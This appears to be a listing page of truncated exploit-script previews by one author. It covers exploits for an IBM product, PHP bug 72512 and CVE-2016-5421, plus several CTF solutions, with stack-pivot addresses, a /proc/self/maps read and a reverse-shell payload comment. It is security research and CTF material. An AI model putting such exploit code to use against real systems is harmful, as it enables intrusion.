emyei

import struct

# Reported by Fernando Muñoz
# Upstream: http://www-01.ibm.com/support/docview.wss?uid=nas8N1020518
# Author: Marcelo Echeverria
# Tested on Windows XP SP3


stack_pivot1 = 0x67bc6661 
stack_pivot2 = 0x67bc1967

emyei

<?php

// Reported by Fernando Muñoz and Marcelo Echeverria
// Upstream: https://bugs.php.net/bug.php?id=72512
// Author: Marcelo Echeverria
// Tested on Debian Jessie x86 + Nginx

/*
 objdump -d /usr/sbin/php5-fpm |grep -A 2 write|more

emyei

<?php

// CVE-2016-5421 - Reported by Marcelo Echeverria and Fernando Muñoz
// Upstream: https://curl.haxx.se/docs/adv_20160803C.html
// Author: Marcelo Echeverria
// Tested on Debian Jessie x86 + Nginx

function get_maps() {
       $fh = fopen("/proc/self/maps", "r");
       $maps = fread($fh, 31337);

emyei

#!/usr/bin/python
 
# 9447 Security Society CTF 2015 : calcpop
# author: NULL Life
# https://twitter.com/marceloje
# https://twitter.com/NullLifeTeam 

import telnetlib, struct

emyei

#!/usr/bin/python
 
# DEFCON 2015 : catwestern 1
# author: NULL Life
# https://twitter.com/marceloje
# https://twitter.com/NullLifeTeam 

import socket, os, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

emyei

#!/usr/bin/python

# UIUCTF 2015 : Unoriginal 100
# author: NULL Life
# https://twitter.com/marceloje
# https://twitter.com/NullLifeTeam 

import struct, socket, time

'''

emyei

#!/usr/bin/python

# Ghost in the Shellcode CTF 2015 : Owneable 200
# author: NULL Life
# https://twitter.com/marceloje
# https://twitter.com/NullLifeTeam 


import socket, struct, time

emyei

#!/usr/bin/python

# Ghost in the Shellcode CTF 2015 : Owneable 100
# author: NULL Life
# https://twitter.com/marceloje
# https://twitter.com/NullLifeTeam 

import socket, struct, time

# linux/x64/shell_reverse_tcp - 74 bytes